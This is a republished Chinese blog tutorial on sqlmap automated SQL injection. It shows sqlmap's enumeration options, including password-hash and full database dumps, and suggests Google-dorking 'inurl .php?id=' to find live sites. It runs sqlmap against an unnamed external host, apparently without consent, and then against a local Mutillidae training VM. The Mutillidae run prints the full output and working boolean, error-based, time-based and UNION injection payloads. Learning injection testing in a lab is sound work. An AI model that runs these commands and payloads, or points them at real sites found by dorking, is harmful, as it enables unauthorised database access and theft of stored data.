欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > sqlmap 自动注入 -01

sqlmap 自动注入 -01

2025/4/18 14:06:49 来源:https://blog.csdn.net/shenghuiping2001/article/details/145286415  浏览:    关键词:sqlmap 自动注入 -01

1: 先看一下sqlmap 的help:

在kali-linux 系统里面,可以sqlmap -h看一下:

  Target:

    At least one of these options has to be provided to define the

    target(s)

    -u URL, --url=URL   Target URL (e.g. "Salesforce Platform for Application Development | Salesforce US")

    -g GOOGLEDORK       Process Google dork results as target URLs

可以看到上面是 php?id=1 的结尾的。

下面google 上面inurl .php?id= 来搜索一下:

去搜索的结果里面找一个有这样结尾的: .php?id=

其他的sqlmap 的参数也可以看一下,下面是一些例子:

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

    --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --passwords         Enumerate DBMS users password hashes

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

2: 下面测试一下:

└─# sqlmap -u "https:/abc.xxxxxphp?id=17"

        ___

       __H__                                                                                                       

 ___ ___[)]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [']     | .'| . |                                                                                          

|___|_  [(]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:52:06 /2025-01-21/

[02:52:06] [INFO] testing connection to the target URL

[02:52:08] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests

[02:52:08] [INFO] checking if the target is protected by some kind of WAF/IPS

[02:52:10] [INFO] testing if the target URL content is stable

[02:52:12] [INFO] target URL content is stable

[02:52:12] [INFO] testing if GET parameter 'id' is dynamic

[02:52:14] [WARNING] GET parameter 'id' does not appear to be dynamic

[02:52:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[02:52:17] [INFO] testing for SQL injection on GET parameter 'id'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

可以看出,上面已经返回结果,说,后台的数据库好像是mysql, 那么就可以用dbms=mysql 来指定DB进行注入:

还有个参数是 --batch, 这个是不要交互的参数:

 上面的输入" Y" 后,出现如下的参数:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

[03:04:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:04:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:04:40] [INFO] testing 'Generic inline queries'

[03:04:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

有level 和risk 的参数,下面我们还是进入owasp 来看一下:

进入这个buttom:

直接进入这个界面:

进入这个界面:

随便输入一个账号+ 密码 进入:

看一下生成的link URL 如下:

http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details

下面用这个url sql 注入一下:

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql -p username

下面是注入结果:

      __H__                                                                                                       

 ___ ___[(]_____ ___ ___  {1.8.7#stable}                                                                           

|_ -| . [)]     | .'| . |                                                                                          

|___|_  ["]_|_|_|__,|  _|                                                                                          

      |_|V...       |_|   sqlmap: automatic SQL injection and database takeover tool                                                                  

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:26:28 /2025-01-21/

[03:26:28] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=t8tm6u91qtv...on6o3e2772;showhints=1'). Do you want to use those [Y/n] Y

[03:26:29] [INFO] testing if the target URL content is stable

[03:26:30] [INFO] target URL content is stable

[03:26:31] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectable (possible DBMS: 'MySQL')                                                                                                              

[03:26:32] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks

[03:26:32] [INFO] testing for SQL injection on GET parameter 'username'

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y

[03:26:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:26:33] [WARNING] reflective value(s) found and filtering out

[03:26:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:26:42] [INFO] testing 'Generic inline queries'

[03:26:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'

[03:27:10] [INFO] GET parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Signature=")                                                                     

[03:27:10] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                                                                                                

[03:27:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

[03:27:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'

[03:27:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'

[03:27:13] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'

[03:27:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

[03:27:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[03:27:15] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                           

[03:27:15] [INFO] testing 'MySQL inline queries'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'

[03:27:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'

[03:27:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'

[03:27:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'

[03:27:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:27:30] [INFO] GET parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

[03:27:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[03:27:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[03:27:31] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[03:27:33] [INFO] target URL appears to have 7 columns in query

[03:27:36] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

[03:27:36] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval

GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:

---

Parameter: username (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

    Type: UNION query

    Title: MySQL UNION query (NULL) - 7 columns

    Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details

---

[03:27:36] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP 5.3.2, PHP, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

[03:27:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

[03:27:39] [WARNING] your sqlmap version is outdated

[*] ending @ 03:27:39 /2025-01-21/

--

上面的注入结果:

自动输入 " Y" 是因为 测试语句加入 --batch 的结果。

如果是第二次再run 同样的注入语句的话,时间会很快结束了。

上面如果没有加 -p username 的话,会对很多个注入点进行检测,会很耗时间。

参考文献: 

16.SQL注入攻击_哔哩哔哩_bilibili

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词